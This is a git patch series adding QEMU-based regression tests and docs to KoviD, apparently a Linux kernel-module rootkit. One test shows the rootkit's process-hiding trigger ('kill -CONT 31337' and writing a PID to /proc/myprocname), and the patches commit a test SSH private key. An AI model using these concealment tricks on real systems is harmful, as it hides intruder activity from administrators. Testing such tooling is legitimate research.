ea0a9bd230fe5aa39ab128506c5f09c37ce29319 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Sun, 27 Oct 2024 21:12:07 +0100 Subject: [PATCH 7/8] Add KoviD regression test infra - Important thing is that we added prebuilt rootfs and kernel 5.15 into the source that are stored in one of our submodules - Improve docs for testing infra --- .gitattributes | 0 .gitignore | 2 + .gitmodules | 3 + CMakeLists.txt | 5 +- docs/TestFeatures.md | 26 +++---- test/Artefacts/id_rsa_qemu | 27 +++++++ test/Artefacts/id_rsa_qemu.pub | 1 + test/Artefacts/qemu-runner.sh | 124 +++++++++++++++++++++++++++++++++ test/CMakeLists.txt | 9 ++- test/features/hide-pid.sh | 19 +++++ test/features/hide-pid.test | 4 ++ test/lit.cfg.py | 3 +- test/test-artefacts | 1 + 13 files changed, 207 insertions(+), 17 deletions(-) create mode 100644 .gitattributes create mode 100644 test/Artefacts/id_rsa_qemu create mode 100644 test/Artefacts/id_rsa_qemu.pub create mode 100755 test/Artefacts/qemu-runner.sh create mode 100755 test/features/hide-pid.sh create mode 100644 test/features/hide-pid.test create mode 160000 test/test-artefacts diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..e69de29 diff --git a/.gitignore b/.gitignore index c6127b3..bd0470d 100644 --- a/.gitignore +++ b/.gitignore @@ -50,3 +50,5 @@ modules.order Module.symvers Mkfile.old dkms.conf + +build/ diff --git a/.gitmodules b/.gitmodules index f1846db..ba6f079 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ [submodule "volundr"] path = volundr url = https://github.com/carloslack/volundr.git +[submodule "test/test-artefacts"] + path = test/test-artefacts + url = https://github.com/djolertrk/KoviD-test-artefacts.git diff --git a/CMakeLists.txt b/CMakeLists.txt index 5b43e9b..729600f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -115,10 +115,11 @@ add_custom_target(clean-kovid COMMENT "Cleaning kovid module" ) -# Step 12: Copy the kovid.ko file to the build directory +# Step 12: Copy kovid.ko and qemu-runner.sh to the build directory add_custom_command(TARGET kovid POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/kovid.ko ${CMAKE_CURRENT_BINARY_DIR}/kovid.ko - COMMENT "Copying kovid.ko to build directory" + COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/test/Artefacts/qemu-runner.sh ${CMAKE_CURRENT_BINARY_DIR}/qemu-runner.sh + COMMENT "Copying kovid.ko and qemu-runner.sh to build directory" ) add_subdirectory(test) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 8a1ec9d..c6c201c 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -16,25 +16,25 @@ New way by using CMake: ``` $ mkdir build && cd build -$ cmake ../KoviD/ -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 +$ cmake ../ -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 ``` or ``` -$ cmake ../KoviD/ && make +$ cmake ../ && make ``` NOTE: You can customize it: ``` -$ cmake -DPROCNAME=myproc -DMODNAME=mymodule ../KoviD +$ cmake -DPROCNAME=myproc -DMODNAME=mymodule ../ ``` ### Building for Linux version other than native ``` -$ cmake ../KoviD/ -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 -- The C compiler identification is GNU 12.3.0 -- The CXX compiler identification is GNU 11.4.0 -- Detecting C compiler ABI info @@ -52,13 +52,13 @@ CMake Error at CMakeLists.txt:14 (message): -- Configuring incomplete, errors occurred! -See also "build_kovid/CMakeFiles/CMakeOutput.log". +See also "build/CMakeFiles/CMakeOutput.log". ``` But lets say we built `linux` in `projects/private/kovid/linux`, we can set up manually the variables: ``` -~/projects/private/kovid/build_kovid$ cmake ../KoviD/ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc -- The C compiler identification is GNU 11.4.0 -- The CXX compiler identification is GNU 11.4.0 -- Detecting C compiler ABI info @@ -76,7 +76,7 @@ But lets say we built `linux` in `projects/private/kovid/linux`, we can set up m -- Extra CFLAGS: -Iprojects/private/kovid/linux/include -Iprojects/private/kovid/KoviD/src -Iprojects/private/kovid/KoviD/fs -I$(KERNEL_DIR)/include/generated -Wno-error -DPROCNAME="changeme" -DMODNAME="kovid" -DKSOCKET_EMBEDDED -DDEBUG_RING_BUFFER -DCPUHACK -DPRCTIMEOUT=1200 -DUUIDGEN="5a803031-366c-4070-8656-1f940a2467b8" -DJOURNALCTL="/usr/bin/journalctl" -- Configuring done -- Generating done --- Build files have been written to: projects/private/kovid/build_kovid +-- Build files have been written to: projects/private/kovid/build $ make PROCNAME="mykovidproc" -- Selected PROCNAME is mykovidproc ``` @@ -96,17 +96,17 @@ Please make sure to install llvm-tools, since we will be using some of the tools ``` sudo apt-get install llvm-18-dev sudo apt-get install llvm-18-tools +sudo apt-get install libslirp-dev +sudo apt-get install qemu-system-x86 ``` Run tests: ``` -$ make check-kovid V=1 -[100%] Running the KOVID regression tests - -Testing Time: 0.01s - Passed: 1 -[100%] Built target check-kovid +$ cd KoviD && mkdir build && cd build +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc +$ make PROCNAME="myprocname" +$ make check-kovid ``` ## Linux Kernel 5.10 diff --git a/test/Artefacts/id_rsa_qemu b/test/Artefacts/id_rsa_qemu new file mode 100644 index 0000000..753aa29 --- /dev/null +++ b/test/Artefacts/id_rsa_qemu @@ -0,0 +1,27 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn +NhAAAAAwEAAQAAAQEAlzoz+mWtkbFA/WEElYVQDgvP046fJiNQUHGQcblS3NypN404S+zD +N8qYvTlN31WCgD1wqiCSjqL6WQEMQOFv3vq8he/sJoF1HL/JO1wkPhvFSEUo7l5jyQmTPC +eTimK5Ccmd3FZjiCjNo8jqRLzcPvcpFBaWmExTRM8gSDGKLFYys2oNcBLcf40oXZBWcE3y +FaagTNRAaV/DA5Qlcm9InKqFEd9F6+IJBrIhFzL+h0f7juGiwJJedu5FE/f2NmlvT8jD23 +UXgy1wrkBIcXgys/u6ClTgGVYDp5qqnx10O4b7HiXPIGkAbUJGnd6plLuW3zGiUt518l0M +O4LjXsO58wAAA9BRfl6IUX5eiAAAAAdzc2gtcnNhAAABAQCXOjP6Za2RsUD9YQSVhVAOC8 +/Tjp8mI1BQcZBxuVLc3Kk3jThL7MM3ypi9OU3fVYKAPXCqIJKOovpZAQxA4W/e+ryF7+wm +gXUcv8k7XCQ+G8VIRSjuXmPJCZM8J5OKYrkJyZ3cVmOIKM2jyOpEvNw+9ykUFpaYTFNEzy +BIMYosVjKzag1wEtx/jShdkFZwTfIVpqBM1EBpX8MDlCVyb0icqoUR30Xr4gkGsiEXMv6H +R/uO4aLAkl527kUT9/Y2aW9PyMPbdReDLXCuQEhxeDKz+7oKVOAZVgOnmqqfHXQ7hvseJc +8gaQBtQkad3qmUu5bfMaJS3nXyXQw7guNew7nzAAAAAwEAAQAAAQAH7AzLWhE7d8l7nIik +xozjjNCFziEIhUK7UWpWMsr5oUuctTaqROG90KIAuPmbMKZl+RH9BON4j7waoS3sUNhPRN +ukY+Wp52U5rNL/W5ErJGxIysAIAK+B2WZk+SkcT5X5l8i/wVIfJg1jvkOGIfijCcfqnVD6 +ncuiPVF9HASXfusyl0n8cMCHVxqVX5kGgsmU6xMEgfyZez51d/14WBMc1P6pBsw+VXEFqt +p+zYESfX2pau8qTsqdI8weZc3fAV6qV+3HRG8Bc3430dEepDwLos6LadtkFX3/5KwxHkf3 +3Y7GbkVkFAdLxHyIhjt4SlCUwV032L1LfGL30xF8mjRNAAAAgHCxigy+U/9mzkfd+Z5vcI +wE7fMu3Ue0MqGBS+Z5Pe9LUtdWr2ciybb6LcdJK5BbMNhhR4SqanZy4Xuf36um3FWdDWdf +wXMmKP+ovtb8rViWrjX6PWgE8R+cxhGgcsLxh2lW8spbTGOq32z6cQ2hTlt8Kp0YRAJp+D +VNp6/xEGo0AAAAgQDLJiR07iVUaze8qivSjND/u+GUtcdaMZvu4SFNLgaLtWxxw7m6uxqb +mxVhNLCpYcqGobAPM+Xx6hNslpKiIJDx/EIS1X6ipXjHAAiFlJCOZ5oEmpXekiNH1EHDlN +6gzk29uvyhocz4qikciQC9hkc5lsQ97xxm2IfkxvrkAwP7VQAAAIEAvpILjV4X3OeVcSIl +4v2JykSkrPie4Wkgm0YlID+4c/WJ8pf+5eQirtg0Aim4akyIkXrgLjuJJbq4U6wEqFKZfi +fMU+ZRdQ+g0+/CZc6GOzTK1Zh6tHrwz3uB268m2KKpQN40dogPhMnWhD6K1JD2Xl8P+XUs +K1hLKM536ubmsCcAAAAXZGp0b2Rvcm92aWNAZGp0b2Rvcm92aWMBAgME +-----END OPENSSH PRIVATE KEY----- diff --git a/test/Artefacts/id_rsa_qemu.pub b/test/Artefacts/id_rsa_qemu.pub new file mode 100644 index 0000000..1d622bb --- /dev/null +++ b/test/Artefacts/id_rsa_qemu.pub @@ -0,0 +1 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXOjP6Za2RsUD9YQSVhVAOC8/Tjp8mI1BQcZBxuVLc3Kk3jThL7MM3ypi9OU3fVYKAPXCqIJKOovpZAQxA4W/e+ryF7+wmgXUcv8k7XCQ+G8VIRSjuXmPJCZM8J5OKYrkJyZ3cVmOIKM2jyOpEvNw+9ykUFpaYTFNEzyBIMYosVjKzag1wEtx/jShdkFZwTfIVpqBM1EBpX8MDlCVyb0icqoUR30Xr4gkGsiEXMv6HR/uO4aLAkl527kUT9/Y2aW9PyMPbdReDLXCuQEhxeDKz+7oKVOAZVgOnmqqfHXQ7hvseJc8gaQBtQkad3qmUu5bfMaJS3nXyXQw7guNew7nz djtodorovic@djtodorovic diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh new file mode 100755 index 0000000..d0add10 --- /dev/null +++ b/test/Artefacts/qemu-runner.sh @@ -0,0 +1,124 @@ +#!/bin/bash + +# Define the project root based on the assumed structure relative to the build directory +PROJECT_ROOT="$(cd "$(dirname "$0")"/.. && pwd)" +CMAKE_BINARY_DIR="${PROJECT_ROOT}/build" + +# Define paths for necessary files +KERNEL_IMAGE="${PROJECT_ROOT}/test/test-artefacts/linux-5.15/bzImage" +ROOT_FS="${PROJECT_ROOT}/test/test-artefacts/linux-5.15/rootfs.ext2" +TEST_DIR="${PROJECT_ROOT}/test/features" +RFS_PATH="/root" +SSH_PORT=5555 +SSH_KEY="${PROJECT_ROOT}/test/Artefacts/id_rsa_qemu" +QEMU_FLAGS="-nographic" +KOVID_MODULE="${CMAKE_BINARY_DIR}/kovid.ko" + +# Check for essential files +if [[ ! -f "$KERNEL_IMAGE" || ! -f "$ROOT_FS" || ! -f "$KOVID_MODULE" ]]; then + echo "Error: Essential files (bzImage, rootfs.ext2, or kovid.ko) not found." + exit 1 +fi + +# Create a writable copy of the root filesystem +TEMP_ROOTFS="/tmp/rootfs_writable.ext2" +cp "${ROOT_FS}" "${TEMP_ROOTFS}" + +# Cleanup function to terminate QEMU and remove temporary files +cleanup() { + echo "Cleaning up..." + if [[ -n "$QEMU_PID" ]]; then + kill -SIGTERM "$QEMU_PID" 2>/dev/null + wait "$QEMU_PID" 2>/dev/null + fi + rm -f "$TEMP_ROOTFS" + echo "QEMU shut down and temporary files cleaned." +} + +# Trap to ensure cleanup runs on exit +trap cleanup EXIT INT ERR + +# Start QEMU in the background +qemu-system-x86_64 \ + -kernel "$KERNEL_IMAGE" \ + -append "root=/dev/sda rw console=ttyS0,115200 init=/sbin/init" \ + -drive format=raw,file="$TEMP_ROOTFS" \ + -device e1000,netdev=net0 \ + -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22 \ + $QEMU_FLAGS &> qemu_output.log & + +QEMU_PID=$! + +# Wait for SSH to be available +echo "Waiting for QEMU && SSH to be ready..." +for i in {1..20}; do + if ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p ${SSH_PORT} root@localhost 'echo SSH is ready'; then + echo "SSH connection to QEMU established." + break + fi + echo "QEMU && SSH not ready, retrying in 3 seconds... (Attempt $i of 20)" + sleep 3 +done + +# Final check if SSH is still not available +if ! ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p ${SSH_PORT} root@localhost 'echo SSH is ready'; then + echo "Failed to establish SSH connection to QEMU after multiple attempts. Exiting..." + exit 1 +fi + +# Transfer kovid.ko to QEMU and load it +echo "Transferring and loading kovid.ko on QEMU..." +scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} "$KOVID_MODULE" root@localhost:"$RFS_PATH/kovid.ko" || { + echo "Failed to transfer kovid.ko to QEMU." + exit 1 +} +ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p ${SSH_PORT} root@localhost "insmod $RFS_PATH/kovid.ko" || { + echo "Failed to load kovid.ko on QEMU." + exit 1 +} + +# Function to execute each test script on QEMU +execute_test_script() { + TEST_SCRIPT=$1 # Path to the test script on the host + TEST_LOG="$(basename "${TEST_SCRIPT%.sh}.log")" # Log file name on the host + + echo "Running test script $(basename "$TEST_SCRIPT") on QEMU..." + + # Transfer the test script to QEMU + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} "$TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$TEST_SCRIPT")" || { + echo "Failed to transfer test script $(basename "$TEST_SCRIPT") to QEMU." + exit 1 + } + + # Run the test script on QEMU in the background, capturing output and returning immediately + ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p ${SSH_PORT} root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$TEST_SCRIPT") && $RFS_PATH/$(basename "$TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG 2>&1 &" || { + echo "Failed to execute test script $(basename "$TEST_SCRIPT") on QEMU." + exit 1 + } + + # Wait a brief moment to ensure command starts + sleep 1 + + # Retrieve the log file from QEMU + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} root@localhost:"$RFS_PATH/$TEST_LOG" . || { + echo "Failed to retrieve log file $TEST_LOG from QEMU." + exit 1 + } + + # Ensure the completion message is displayed + echo "Test script $(basename "$TEST_SCRIPT") completed. Output saved to $TEST_LOG." +} + +# Loop through each .test file and corresponding script in TEST_DIR +for TEST_FILE in "$TEST_DIR"/*.test; do + TEST_SCRIPT="${TEST_FILE%.test}.sh" + # Ensure both .test and .sh files exist before running the test + if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then + execute_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") as it or the .test file is missing." + fi +done + +# After all tests are done, shut down QEMU +cleanup diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt index 9936bf6..962cdfd 100644 --- a/test/CMakeLists.txt +++ b/test/CMakeLists.txt @@ -27,9 +27,16 @@ configure_lit_site_cfg( ${CMAKE_CURRENT_SOURCE_DIR}/lit.cfg.py ) +# Define a custom target to run qemu-runner.sh before tests +add_custom_target(run-qemu-runner + COMMAND bash ${CMAKE_BINARY_DIR}/qemu-runner.sh + WORKING_DIRECTORY ${CMAKE_BINARY_DIR} + COMMENT "Running qemu-runner.sh" +) + add_lit_testsuite(check-kovid "Running the KOVID regression tests" ${CMAKE_CURRENT_BINARY_DIR} - DEPENDS ${KOVID_TEST_DEPENDS} + DEPENDS ${KOVID_TEST_DEPENDS} run-qemu-runner ) set_target_properties(check-kovid PROPERTIES FOLDER "Tests") diff --git a/test/features/hide-pid.sh b/test/features/hide-pid.sh new file mode 100755 index 0000000..0ee8cea --- /dev/null +++ b/test/features/hide-pid.sh @@ -0,0 +1,19 @@ +#!/bin/sh + +# The kovid trick +kill -CONT 31337 + +# Run the a.out executable in the background +./a.out & +AOUT_PID=$! # Capture the PID of a.out + +# Wait briefly to ensure a.out has started +sleep 1 + +# Output the PID (for debugging or verification) +echo "PID of a.out is $AOUT_PID" + +echo $AOUT_PID > /proc/myprocname + +# Attempt to kill the process by PID and log the output +kill -9 "$AOUT_PID" diff --git a/test/features/hide-pid.test b/test/features/hide-pid.test new file mode 100644 index 0000000..92bbe94 --- /dev/null +++ b/test/features/hide-pid.test @@ -0,0 +1,4 @@ +# RUN: FileCheck-18 --input-file=%kovid_testdir/hide-pid.log %s + +# CHECK: sh: can't kill pid 31337: No such process +# CHECK: sh: can't kill pid {{.*}}: No such process diff --git a/test/lit.cfg.py b/test/lit.cfg.py index 55f9540..ea456ab 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -36,7 +36,7 @@ # excludes: A list of directories to exclude from the testsuite. The 'Inputs' # subdirectories contain auxiliary inputs for various tests in their parent # directories. -config.excludes = ["Inputs", "Examples", "CMakeLists.txt", "README.txt", "LICENSE.txt"] +config.excludes = ["Inputs", "Examples", "CMakeLists.txt", "README.txt", "LICENSE.txt", "Artefacts", "test-artefacts"] # test_exec_root: The root path where tests should be run. config.test_exec_root = os.path.join(config.kovid_obj_root, "test") @@ -48,3 +48,4 @@ # Add substitutions config.substitutions.append(('%FileCheck-18', filecheck_path)) config.substitutions.append(('%not-18', not_path)) +config.substitutions.append(("%kovid_testdir", config.kovid_obj_root)) diff --git a/test/test-artefacts b/test/test-artefacts new file mode 160000 index 0000000..6cddbd4 --- /dev/null +++ b/test/test-artefacts @@ -0,0 +1 @@ +Subproject commit 6cddbd440e24d931ac77e7013d4ca0f72d8a6270 From e0cd127f45ca0c88e0f879ce570b8e6872e4c1b3 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Tue, 29 Oct 2024 20:21:21 +0100 Subject: [PATCH 8/8] docs: Add info about LFS and submodule --- docs/TestFeatures.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index c6c201c..9512418 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -3,6 +3,22 @@ This document describes the process of testing the features of Kovid LKM. Please see `docs/QEMUSetupForTesting.md` that contains info for qemu setup. +## Fetch LFS and submodules + +``` +$ git fetch --recurse-submodules +``` +or: + +``` +$ git submodule update --remote --recursive +``` + +LFS should be fetched: + +``` +$ git lfs fetch --all +``` ## Build KoviD